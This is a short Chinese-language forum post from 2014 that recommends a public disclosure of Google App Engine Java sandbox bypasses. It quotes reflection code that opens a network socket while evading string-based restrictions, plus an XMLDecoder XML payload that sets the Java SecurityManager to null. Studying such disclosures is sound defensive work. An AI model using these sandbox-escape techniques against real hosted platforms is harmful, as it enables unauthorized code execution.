- A+
livers (如梦似幻) | 2014-12-08 23:21
看到今天fd上GAE的java沙盒的绕过
http://seclists.org/fulldisclosure/2014/Dec/26
security-explorations 报告他们发现了30+ 的问题,poc写了17个 最后说没有测完。
真心牛X。
翻他们之前的papper,非常赞。 推荐之
http://www.security-explorations.com/materials/SE-2013-01-ORACLE.pdf
1.多种花样利用java的反射机制绕过沙盒。Class c=Class.forName("java.net.Socket");
Class ctab[]=new Class[2];
ctab[0]=Class.forName("java.lang.String");
ctab[1]=Integer.TYPE;
Constructor con=c.getConstructor(ctab);
Object args[]=new Object[2];
args[0]=hostname;
args[1]=new Integer(port);
Object s=con.newInstance(args);
Method geti=c.getMethod("getInputStream",new Class[0]);
Method geto=c.getMethod("getOutputStream",new Class[0]);
InputStream is=(InputStream)geti.invoke(s,new Object[0]);
OutputStream os=(OutputStream)geto.invoke(s,new Object[0]);
没有直接 这样 回调xxxx.getClass().forName("xxx").getMethod("xxx",null).invoke(null,null).exec(xxxx) 【当然这个是静态回调 动态要实例化下】
而是用的类,方法,示例的引用 绕过沙盒这些敏感字符串的限制。
2. 未限制的特权方法
有多个,其中包括了之前 shine [link href="WooYun: SAE允许JVM内存对象直接读写操作"] sae绕过[/link]
提到的 sun.misc.Unsafe 特权类
还有些淫荡的方式
例如通过
java.beans.XMLDecoder的实例 解析xml 执行java的方法<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<void id="setsmres" class="java.lang.System" method="setSecurityManager"
<null></null>
</void>
先关联到权限域 然后 设置Security Manager 对象为NULL
干货很足 大家细细看。
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });